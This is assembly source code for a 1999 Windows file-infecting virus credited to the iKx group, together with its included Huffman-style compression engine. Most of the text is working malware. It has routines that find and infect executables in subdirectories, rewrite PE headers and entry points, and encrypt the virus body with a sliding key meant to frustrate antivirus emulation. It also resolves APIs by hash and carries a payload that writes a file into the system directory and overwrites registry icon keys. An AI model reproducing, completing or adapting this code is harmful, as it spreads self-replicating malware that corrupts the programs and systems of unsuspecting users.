InitCritical ; stop other main thread ; don't want to be ; pushad ; annoyed during ; ; infection procedure ; push 1 ; lea eax,dword ptr [ebp+caption] ; push eax ; lea edx,word ptr [ebp+workingdir] ; push edx ; push 0 ; call dword ptr [ebp+MessageBoxA] ; ; mov dword ptr [esp+20h-4],eax ; popad ; cmp eax,2 ; je cretino1 push ecx mov edx,dword ptr [ebp+HeaderOffset] call Seek_file ; go to where we read ; to the header mov ecx,(4096/2)+0f8h lea edx,[ebp+ReadyForHost] ; rewrite the header call Write_file mov edx,dword ptr [ebp+FileOffset] ; go to where we took call Seek_file ; compressed datas pop ecx mov edx,dword ptr [ebp+databuffer] call Write_file ; write it to file cretino1: call LeaveCritical ; resume thread inc byte ptr [ebp+infcount] ; increment infection CloseFile: jmp finfi ; stop file CloseFile0: pop ecx pop esi pop edi jmp finfi ; stoping poly loop ; creation infectionmethod2: mov eax,dword ptr [esi+16] ; check if code cmp eax,45000 ; is bigger than 45000 jb CloseFile ; else go away mov edx,dword ptr [esi+20] mov dword ptr [ebp+FileOffset],edx call Seek_file ; go to start of sect mov eax,dword ptr [esi+12] mov dword ptr [ebp+ReadyForHost+40],eax ; set entry to there add eax,dword ptr [ebp+ReadyForHost+52] mov dword ptr [ebp+Restore],eax ; set for poly mov ecx,dword ptr [esi+16] jmp Compresslookup ; go infect it infectionmethod3: mov edx,dword ptr [esi+20] add edx,dword ptr [esi+16] sub edx,75000 ; get end of sec - 75000 mov eax,edx sub eax,dword ptr [esi+20] ; then get offset add eax,dword ptr [esi+12] mov dword ptr [ebp+ReadyForHost+40],eax add eax,dword ptr [ebp+ReadyForHost+52] ; set entrypoint mov dword ptr [ebp+Restore],eax mov dword ptr [ebp+FileOffset],edx ; and drop offset call Seek_file ; go overthere mov ecx,75000 ;full compression buff. jmp Compresslookup DropcryptedVirus: encrypt: lea esi,[ebp+start] mov edi,dword ptr [ebp+databuffer] ;I don't saved the mov ecx,pseudofin-start ;key so avers will have repz movsb ;to test every poss. push edi lea esi,[edi-1] mov ecx,pseudofin-StartCrypt ; how much to encrypt gegenviom: xor dl,25 ; this is sliding key xor byte ptr [esi],dl ; hohoho, you will add dl,99 ; have to emulate add byte ptr [esi],dl ; each loop dec esi ; enjoy guys loop gegenviom pop edi ret DropStubLoader: mov byte ptr [ebp+stubtest],1 ; this is just for mov ecx,FinStub-StubLoader ; previewving virus lea esi,[ebp+StubLoader] ; decompression repz movsb mov byte ptr [ebp+stubtest],0 ret caption: db 'Host found',0 countcompress: dd 0 countoffset: dd 0 numberloop: db 0 FileOffset: dd 0 HeaderOffset: dd 0 TakenByte: dd 0 finfi: ; pushad ; made for debugging ; ; purpose ; push 0 ; lea eax,dword ptr [ebp+caption] ; push eax ; lea edx,word ptr [ebp+workingdir] ; push edx ; push 0 ; call dword ptr [ebp+MessageBoxA] ; for test ; ; mov dword ptr [esp+20h-4],eax ; popad call Close_file ; close it attackfile2: willbeback: pop edx ; look for next file in sub push edx lea eax,[ebp+filedata] push eax push edx call dword ptr [ebp+FindNextFileA] ; findnextfilea cmp eax,0 jne findnextfileA call dword ptr [ebp+FindClose] ; close find (wow that time, ; it's not buggy :) finishattack: ret oldesp: KillSubDir: cmp dword ptr [ebp+filedata+2Ch],'TSYS' ; don't infect je finishattack ; system directory cmp dword ptr [ebp+filedata+2Ch],'tsys' ; avoiding NT problems je finishattack ; cmp byte ptr [ebp+treeflag],1 jne secureit cmp dword ptr [ebp+filedata+2Ch],'BSYS' ; infect sysback jne finishattack cmp dword ptr [ebp+filedata+2Ch],'bsys' jne finishattack secureit: mov eax,(1024*2)+4 call alloc ; alloc memory push eax push eax mov edi,eax lea esi,[ebp+originaldir] mov ecx,(1024*2)+4 repz movsb ; save precdent dir infos mov edi,dword ptr [ebp+pointerdata] call connectit ; put dir name + curr dir status ; pushad ; ; push 0 ; lea edx,word ptr [ebp+originaldir] ; push edx ; lea edx,word ptr [ebp+originaldir] ; push edx ; push 0 ; call dword ptr [ebp+MessageBoxA] ; ; mov dword ptr [esp+20h-4],eax ; popad call Killdir ; scan directory pop esi lea edi,[ebp+originaldir] mov ecx,(1024*2)+4 repz movsb ; restore back directoy and ; infos pop eax call Delloc ; then delocate ret makescandir: inc eax cmp byte ptr [eax],0 jne makescandir cmp byte ptr [eax-1],'\' ; look if it have or not, fix je gottaway ; it anyway mov byte ptr [eax],'\' inc eax gottaway: mov dword ptr [eax],'*.*' ; concatenating *.* mov dword ptr [ebp+pointerdata],eax ret checkext: lea esi,[ebp+originaldir] ; look for file lea edi,[esi+1024] ; in the file data mov ecx,1024 repz movsb mov edi,dword ptr [ebp+pointerdata] add edi,1024 call connectit ; we put name on the ; background file data mov eax,dword ptr [edi-4] call lowcaseme ; low case extension ret treeflag: db 1 connectit: lea esi,[ebp+filedata+2Ch] ; add dir mov eax,dword ptr [ebp+pointerdata] ; add file data mov dword ptr [eax],0 finishmakedir: mov al,byte ptr [esi] mov byte ptr [edi],al inc esi inc edi cmp al,0 jne finishmakedir ; until we reached end ; of file name ret lowcaseme: mov ecx,4 ; look how much we have ; to scan lowcaseit: rol eax,8 cmp al,'A' jb dontapply ; if between A -> Z cmp al,'Z' ; then redesign to ja dontapply ; ascii add al,'a'-'A' dontapply: loop lowcaseit ret payload: lea eax,[ebp+currbuff2] push eax push 255 push eax call dword ptr [ebp+GetSystemDirectoryA] ; get windows directory pop edi scannextz: inc edi cmp byte ptr [edi],0 jne scannextz ; look there mov ecx,8 lea esi,[ebp+ikxico] repz movsb ; then create push 0 lea eax,[ebp+currbuff2] push eax call dword ptr [ebp+Lcreat] ; SYSDIR\ikx.00 push eax dropit: ; lea ebx,[ebp+trademark] push 766 push ebx push eax call dword ptr [ebp+Lwrite] ; write the icon call dword ptr [ebp+Lclose] ; then close the file lea eax,[ebp+KeyOne] mov ecx,080000000h call Reginitialize ; open the key ; and write datas lea eax,[ebp+KeyZero] mov ecx,080000002h push dword ptr [ebp+StoorHere] mov byte ptr [ebp+StoorHere],0 lea esi,[ebp+mess1] lea edi,[ebp+currbuff2] mov ecx,finmess1-mess1 repz movsb ; copy all that over there lea eax,[ebp+KeyOne] ; mov ecx,080000000h call Reginitialize ; open the key that we had pop dword ptr [ebp+StoorHere] ; ret Reginitialize: lea edx,[ebp+rezo21] ; boring to describe push edx ; look win32.hlp push 002000000h push 0 push eax push ecx call dword ptr [ebp+RegOpenKeyExA] ; open the key xor ecx,ecx lea edi,[ebp+currbuff2] push edi dodoit: inc ecx inc edi cmp byte ptr [edi],0 jne dodoit cmp byte ptr [edi-1],'0' je skipcount cmp byte ptr [edi-1],'!' je skipcount ; whohoho... mov dword ptr [edi],'0,' inc ecx inc ecx skipcount: pop edi push ecx push edi push 1 push 0 push 0 push dword ptr [ebp+rezo21] call dword ptr [ebp+RegSetValueExA] ; overwrite it ret poem: ; db ' I was in the street today, so long time I didnt saw it',0 ; db ' I was afraid coz so long time I didnt saw so much poeple',0 ; db ' I tasted beer again, I liked it, I tasted joint, I was planning',0 ; db ' I enjoyed with girls, like old good times, when I was happy',0 ; db ' But after all these enjoyment, I didnt feel in my garden',0 ; db ' Like a bird trying to fly in water, ridiculous like hell',0 ; db ' That was my life, excepting to be happy from a computer',0 ; db ' Just secure my brain, getting ideas and make them working',0 ; db ' I spend so much time behind my computer, loosing my time',0 ; db ' I did what I never excepted to do, I remember my beginners ideas',0 ; db ' I tryed to go to the infinite, I arrived in hell',0 ; db ' If you are like I was, you should follow this tip',0 ; db ' Stop vxing guys, you are loosing sensations',0 ; db 0 mess1: db 'Remember VX meeting times...',0 finmess1: ikxico: db '\ikx00.ico',0 KeyZero: db 'SOFTWARE\Classes\' KeyOne: db 'CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\' StoorHere: db 'DefaultIcon',0 KeyFin: trademark: yeye: db 000h, 000h, 001h, 000h, 001h, 000h, 020h, 020h, 010h, 000h, 000h, 000h db 000h, 000h, 0e8h, 002h, 000h, 000h, 016h, 000h, 000h, 000h, 028h, 000h db 000h, 000h, 020h, 000h, 000h, 000h, 040h, 000h, 000h, 000h, 001h, 000h db 004h, 000h, 000h, 000h, 000h, 000h, 080h, 002h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 080h, 000h, 000h, 080h db 000h, 000h, 000h, 080h, 080h, 000h, 080h, 000h, 000h, 000h, 080h, 000h db 080h, 000h, 080h, 080h, 000h, 000h, 0c0h, 0c0h, 0c0h, 000h, 080h, 080h db 080h, 000h, 000h, 000h, 0ffh, 000h, 000h, 0ffh, 000h, 000h, 000h, 0ffh db 0ffh, 000h, 0ffh, 000h, 000h, 000h, 0ffh, 000h, 0ffh, 000h, 0ffh, 0ffh db 000h, 000h, 0ffh, 0ffh, 0ffh, 000h, 000h, 000h, 000h, 000h, 000h, 00bh db 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h, 000h, 000h, 009h, 009h db 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 000h, 000h db 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0b0h, 000h, 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 009h, 009h db 090h, 000h, 090h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h db 000h, 000h, 009h, 009h, 009h, 009h, 009h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0b3h, 033h, 033h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00bh db 0bbh, 0bbh, 0bbh, 0bbh, 033h, 033h, 033h, 033h, 030h, 000h, 000h, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 033h, 033h, 033h, 033h, 033h db 033h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h db 033h, 033h, 033h, 033h, 033h, 000h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 033h, 033h, 033h, 033h, 033h, 033h, 033h, 000h, 00bh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h, 033h, 033h, 033h, 033h, 033h db 030h, 000h, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b3h, 033h, 033h db 033h, 033h, 033h, 030h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h db 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h db 000h, 000h, 00bh, 0b0h, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0b0h, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 00bh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 00bh, 0bfh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0b9h, 099h, 099h, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 00bh, 0bfh db 0fbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 099h, 099h, 09bh, 0bbh, 0bbh, 0bbh db 0bbh, 0b0h, 000h, 0bfh, 0ffh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 0bbh, 0ffh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 00bh db 0bfh, 0ffh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh db 0b0h, 000h, 000h, 000h, 0bbh, 0ffh, 0ffh, 0fbh, 0bbh, 0bbh, 0bbh, 0bbh db 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h, 00bh, 0bfh, 0ffh, 0ffh db 0fbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h db 000h, 0bbh, 0bfh, 0ffh, 0ffh, 0ffh, 0bbh, 0bbh, 0fbh, 0bbh, 0bbh, 000h db 000h, 000h, 000h, 000h, 000h, 00bh, 0bbh, 0bfh, 0ffh, 0ffh, 0ffh, 0ffh db 0fbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 00bh, 0bbh db 0bfh, 0ffh, 0ffh, 0fbh, 0bbh, 0b0h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 0bbh, 0bbh, 0bbh, 0bbh, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 00fh, 0ffh, 000h, 000h, 001h, 0ffh, 000h, 000h db 000h, 07fh, 000h, 000h, 000h, 03fh, 000h, 000h, 000h, 01fh, 000h, 000h db 000h, 00fh, 000h, 000h, 000h, 007h, 0c0h, 000h, 000h, 003h, 0c0h, 000h db 000h, 003h, 080h, 000h, 000h, 003h, 080h, 000h, 000h, 007h, 080h, 000h db 000h, 01fh, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h, 080h, 000h db 000h, 001h, 080h, 000h, 000h, 001h, 080h, 000h, 000h, 001h, 0c0h, 000h db 000h, 003h, 0c0h, 000h, 000h, 003h, 0e0h, 000h, 000h, 007h, 0f0h, 000h db 000h, 00fh, 0f8h, 000h, 000h, 01fh, 0fch, 000h, 000h, 03fh, 0feh, 000h db 000h, 07fh, 0ffh, 080h, 001h, 0ffh, 0ffh, 0f0h, 00fh, 0ffh include etms.asm include dsce.asm getapis: db 'KERNEL32.' db 'USER32.' db 'ADVAPI32.' ; Pseudo imported dlls db -1 dd 0aacce3ch ; file action dd 01558146h ; see above dd 0aacf03dh dd 0aad8d85h dd 0155be2ch dd 0aac3c03h dd 09554ef69h dd 0D45D57C9h ; mapping apis dd 05FBCD23Ch dd 0a412f949h ; windows libaries managing dd 078a25f37h dd 0ab16d5ceh ; memory apis dd 0b562d377h dd 0c6387a85h ; create exit Threads dd 01cdc7e3fh dd 0cb8d7a80h ; priority class setting dd 046863856h dd 04690b856h dd 0297c5269h ; suspend create threads dd 0a1187bb2h dd 002c7218h ; sleep -) dd 0b04301d5h ; Read Write Process Memory dd 0a58ad555h dd 0c26c5705h ; ToolHelp debugging functions dd 095b0c289h dd 0b2b60b08h dd 056B3973Eh ; FindNext/FindFirst/Findclose dd 0e37e8dc3h dd 07aaef03fh dd 0a24e569eh ; GetCurrent/GetWin/GetSys dd 06259ad0dh ; directory dd 09a75bb1ah dd 05ecf0a4ch ; MessageBox dd 014d14ccbh ; getdrivetype dd 029bf2c25h ; OpenProcess dd 0c53b1c30h ; RegOpen dd 09774ef48h ; RegSetKey dd 0ee84c668h ; GetSystemTime db -1 db 'B0/S0 - [iKx] (c) 1999 all right reserved - present ' db 'AldeBaran' pseudofin: returnapis: Lcreat: dd 0 Lopen: dd 0 Lclose: dd 0 Lwrite: dd 0 Lread: dd 0 Llseek: dd 0 GetFileSize: dd 0 MapViewOfFile: dd 0 CreateFileMappingA: dd 0 LoadLibraryA: dd 0 FreeLibrary: dd 0 VirtualAlloc: dd 0 VirtualFree: dd 0 CreateThread: dd 0 ExitThread: dd 0 GetCurrentProcess: dd 0 GetPriorityClass: dd 0 SetPriorityClass: dd 0 SuspendThread: dd 0 ResumeThread: dd 0 Sleep0: dd 0 ReadProcessMemory: dd 0 WriteProcessMemory: dd 0 CreateToolhelp32Snapshot: dd 0 Process32First: dd 0 Process32Next: dd 0 FindFirstFileA: dd 0 FindNextFileA: dd 0 FindClose: dd 0 GetCurrentDirectoryA: dd 0 GetWindowsDirectoryA: dd 0 GetSystemDirectoryA: dd 0 GetDriveTypeA: dd 0 MessageBoxA: dd 0 OpenProcess: dd 0 RegOpenKeyExA: dd 0 RegSetValueExA: dd 0 GetSystemTime: dd 0 ; Temporary datas, arrrrrrrrrrf :) ForeignThread: dd 0 oldseh: dd 0 ReturnTemp: dd 0 FileHandle: dd 0 databuffer: dd 0 compressbuffer: dd 0 MapHandle: dd 0 MapHandle1: dd 0 Ourmemory: dd 0 reserror: db 0 Checkres: db 0 processid: dd 0 dd 0 PseudoData: db 16 dup (0) maxinf: maxinfect: dd 0 infcount: countinfect: dd 0 numbscan: dd 0 waitscan: dd 0 checkflag: dd 0 datadummy: db 400h dup (0) FindData: filedata: File_Data: db 2ch dup (0) db 'winhlp32.exe',0 db 13+5 dup (0) ReadyForHost: db 0F8h dup (0) TableHost: db 4096/2 dup (0) currbuff2: db 400 dup (0) rezo21: dd 0 currbuff3: db 2000 dup (0) originaldir: db 1024 dup (0) workingdir: db 1024 dup (0) pointerdata: dd 0 fin: end Host --- Include: DSCE.ASM ; ; Comperssion engine based on the Huffman algorithm - EvilRats produKtion! ; ; Still under devlopment and test, Version 0.99 revision 5b ; ; Can support a dword as dictionary base like professional softwares ; Speed up and many improvents to gain time , these routines are 100% ; multitask. These routines doesn't require extra memory to work ; but just need a buffer to acquire datas, for compression, if you are ; not sure, better is to add 8ko to it, it will return the exact size ; of the compressed datas... (You must respect a minimum of 8 Ko buffer, ; else, it will GP Fault) ; ; Ideal utilisation: Compressing text video datas got 60% and 80 ; Compressing executable file got 80-90% ; ; Revision 5b is specially optimized for very large compression, I mean ; for compressing more than 20 Ko, and not for small buffer, older ; revisions were quite efficient for small buffer (even on 512 bytes ; buffer) but I don't release this version, I don't have commented it. ; If you really want it, please mail: starzeros@hotmail.com ; ; Ideal code placing: The code was originally coded for 32 bits, ; utilization in 16 bit programs will slow down the compression ; to +- 5 ko/sec... (value taken with Softice but it's so often ; instable..., anyway, the compression is eye visible in dos mode :[ ) ; ; With revision 5.b, you should compress only larger than 16 Ko to get ; something serious. Else the dictionary (that will take 1Ko entirely) ; will eat to much place. ; ; Unfortunately, this version of DSCE loose about 5 to 10% of compression ; rate, but anyway, it's quite enough for vxing needs... ; ; Test on standard memory compression: ; 453 Ko/sec with highest process priorities !!! ; 200 Ko/sec with normal process priorities ; 48 Ko/sec with lowest process priorities ; ; Arguments: DarkCMP ecx = number of bytes ; esi = long pointer to addresses ; edi = long pointer to buffer ; ; UnDkCMP ecx = size of datas ; esi = long pointer to the base ; edi = long pointer to the base ; ; to get needed memory size, just get the dword at [esi+1], ; then drop over it. ; ; Routine size: +- 125 for decompression (LZH decoding :) ; 570 for compression ; ; Revision 5 - Decompression routines reoptimized ; - no more need of extra memory ; - speed up because no three building on output ; - not anymore eye visible ; - we are loosing some percentages compression :( ; - decompression routine size down to: about 125 bytes ; - improvent for decompression speed, down to ; 84 microsecond for 50 Ko on a P133 !!! ; (I didn't belived myself but true, 5000 Mega/sec ???) ; ; Revision 4 - Improved construction, Complete 32 bit structures ; - Revised time critical procedure 1 (256 times speed up!) ; - Revised time critical procedure 3 (for very large compression) ; - A few bugs revised ; ; - I have to greet zombie for all his help during the writing of ; these routines - ; ; DarkCMP: pushad push edi ; saving value for compressed ; size calculation mov byte ptr [edi],'h' mov dword ptr [edi+1],ecx ; original size push esi ; saving value for later push ecx push edi lea edi,[edi+5*256] ; set where we will put datas push edi ;+4 don't worry this is ;for stimulated stack xor eax,eax ;just for coder's comprehension push edi push ecx ;+8 xor eax,eax ; making a 1024 bytes zero mov ecx,1024 ; zone repz stosb pop ecx ;-8 pop edi mov ebx,4 dictionarylookup: ; Time Critical Revision One movzx eax,byte ptr [esi] mul ebx ; we are building a zone of inc dword ptr [edi+eax] ; number of frequencie inc esi ; we inc table+ascii*4 ; each time ascii encountered loop dictionarylookup pop esi ;-4 lea edi,[esi+1025] push edi ;+4 mov ax,-1 thendontstore: ; we need to kill these that inc ax ; happend 0 times mov byte ptr [edi],al ; so, put number in edi mov edx,dword ptr [esi] ; get frequency of al cmp edx,0 ; if zero, kill it je dontstoryindicotable mov dword ptr [edi+1],edx ; saving it add edi,5 ; next pos in table cmp ax,100h je dontstoryindicotable inc ecx dontstoryindicotable: add esi,4 ; get next frequecy cmp ax,100h ; build it jne thendontstore ; 1024 bytes eat pop edi ;-4 lea esi,[edi+256*5] ; where we are going to inc esi ; put the crescendo mode mov byte ptr [esi],cl ; but put number of entry inc esi ; there mov eax,5 ; multiply it mul ecx add esi,eax ; esi will become edi sub esi,5 ; later mov eax,1 mov ebx,ecx ; ecx equal number of items mov edx,1 xchg esi,edi ; here we go again push edi ; +8 push ecx setanynumber: buildarbitrarydictionaryloop1: ;This operation is time critical ;as 32 bit, dunno, I will may be push ecx ;rebuild it... push esi ;I made a fixup for large compression checkforvalidone: xor eax,eax ; start at zero buildarbitrarydictionaryloop: cmp eax,dword ptr [esi+1] ; if eax is bigger then bybye ja thendontsetarbitrary mov eax,dword ptr [esi+1] ; we set frequency in eax as biggest mov edx,esi ; and save his location thendontsetarbitrary: add esi,5 loop buildarbitrarydictionaryloop ; it's the last of the series ; mov esi,edx ; we get there movsb ; saving everyhting movsd mov dword ptr [esi-4],0 ; we set before this one to zero ; nothing is biggest than zero :) pop esi pop ecx dec ebx cmp ebx,0 ; this routine eat a lot of memory... jne buildarbitrarydictionaryloop1 ; super highway 2561 bytes eaten thengotothere: pop ecx pop esi ; -8 pop edx mov word ptr [edx+5],cx ; we then set in the destination lea eax,[edx+7] ; number of entr push eax makethree: ; now we make a three ; if ya don't understand, go read ; huffman compression egine lea edi,[esi+512*5+5] ; +2560 bytes eaten lea ebp,[edi+512*5+5] ; +1536 bytes eaten push esi push ebp mov edx,ecx ; edx contain number of ; image in three untilnothree: push esi push edi push ebp mov ebp,edx sub ebp,ecx push ecx push edx ; saving these value for ; completing the loop mov ecx,edx getfromthree: mov eax,ecx shl eax,2 add ecx,eax ; multiply ecx by 5 mov edx,ebp mov eax,edx ; multiply ecx by 5 shl eax,2 add edx,eax ; gain of speed from slow mul/div... push edi push ecx repz movsb ; copy the buffer :] pop ecx ; because we will operate on it pop edi xor ebp,ebp xor ebx,ebx ; resent constants mov dh,byte ptr [edi+edx] add edi,ecx escalator: push edi push ecx mov eax,dword ptr [edi+1-5] ; we get current cmp dh,byte ptr [edi-5] ; and look if he's in the two last jne thendontsetthebit ; object of the vertical three inc ebp ; if so, then update the current ror bx,1 ; value for horizontal three jmp thendontsetthebit3 ; correspondance (shift 1 + 0) thendontsetthebit: cmp dh,byte ptr [edi-5-5] ; look if before the last... jne thendontsetthebit2 inc ebp ror bx,1 inc bx ; shif 1 + 1 jmp thendontsetthebit3 thendontsetthebit3: mov dh,byte ptr [edi-5-5] ; thendontsetthebit2: mov dl,byte ptr [edi-5-5] ; make fusion of last two entries add eax,dword ptr [edi+1-5-5] ; we get new entry thenputloop: cmp eax,dword ptr [edi-5+1] jb thenputhere mov esi,dword ptr [edi-5] ; then refix all the table with the mov dword ptr [edi],esi mov esi,dword ptr [edi-5+1] ; this value mov dword ptr [edi+1],esi sub edi,5 sub ecx,5 ; repeat it cmp ecx,0 jne thenputloop ; for every value thenputhere: mov byte ptr [edi],dl ; this is in case of the last mov dword ptr [edi+1],eax ; change all the substructure sub edi,3 ; of the three thenitsfinish: pop ecx pop edi ; this is for the loop sub edi,5 sub ecx,5 cmp ecx,5 jne escalator mov cx,bp dec cx rol bx,cl mov eax,ebp pop edx ; restore datas pop ecx pop ebp pop edi pop esi mov byte ptr [ebp],al ; save this in the three mov word ptr [ebp+1],bx add ebp,3 dec ecx jnz untilnothree ; we have to do this for ; each object of the three mov byte ptr [ebp],0 pop ebp ; restore data for pop edx ; encoding pop edi pop ecx pop esi push ecx ; compressing a bit the corrspondance push edi ; table make it working without extra ; memory... movzx ecx,word ptr [edi-2] ; dicotype2: ; build a mini char/three mov al,byte ptr [edx] ; correspondance table mov byte ptr [edi],al ; even as mini, for 24 char, it take mov al,byte ptr [ebp] ; 1024 caracters :( mov byte ptr [edi+1],al ; blah, nobody is perfect... mov ax,word ptr [ebp+1] ; now we concatenate the binary to the mov word ptr [edi+2],ax ; now we concatenate the binary to the add edx,5 add ebp,3 add edi,4 loop dicotype2 pop edx pop ecx mov word ptr [edi],-1 ; this to make a stop for ; decompressing inc edi inc edi mov dword ptr [edi],0 ; set zero to there, reset ; values inc edi compressloop: mov al,byte ptr [esi] ; get current ascii in ; data to be compressed push ecx push edx sub edx,4 ; we have to start at zero scannext01: add edx,4 cmp byte ptr [edx],al jne scannext01 ; loop until we get the value xor ecx,ecx mov cl,byte ptr [edx+1] mov dx,word ptr [edx+2] ; now we concatenate the binary to the dec cl ; buffer, [edi] = the pos of the bit of ror dx,cl inc cl hereweloop: mov ah,8 sub ah,byte ptr [edi] ; [edi-1] cmp ah,0 jne thennoneedofimplementation ;look if we completed a entire 8 byte mov word ptr [edi],0 ; then resent edi inc edi ; increment it mov ah,8 thennoneedofimplementation: dec ah xchg ah,cl mov al,byte ptr [edi-1] ; we have to change edi-1 ror al,cl ; and shift it push edx and edx,1 ; we look if we add eax,edx ; need to concatenate one bit ; of the three image pop edx rol al,cl rol dx,1 ; set to next bye change mov byte ptr [edi-1],al ; store it inc byte ptr [edi] xchg ah,cl inc ah ; restore the position loop hereweloop ; and then concatenate ecx eax pop edx pop ecx ; then compress all the datas inc esi loop compressloop pop edx sub edx,edi ; now get size of the compressed neg edx ; segment ; ; The memory is done such like: ; ; Off Size Description ; 0 - byte 068h - (0x68) - Recognizing mark ; 1 - word Original size: Dword ; 5 - byte Number of tree entry ; 7 - entries ; entry (4bytes) : - 1 byte: ascii number ; - 2 byte: number of bits ; - 3 word: recognition ; ? - word 0FFFFh - (0xFFFF) - reserved / bug fix :P ; ? - ? compressed datas / file size ; mov dword ptr [esp+20h-4],edx popad ; return back ret db '[DSCEi386]' ; Dark Side Compression Engine ---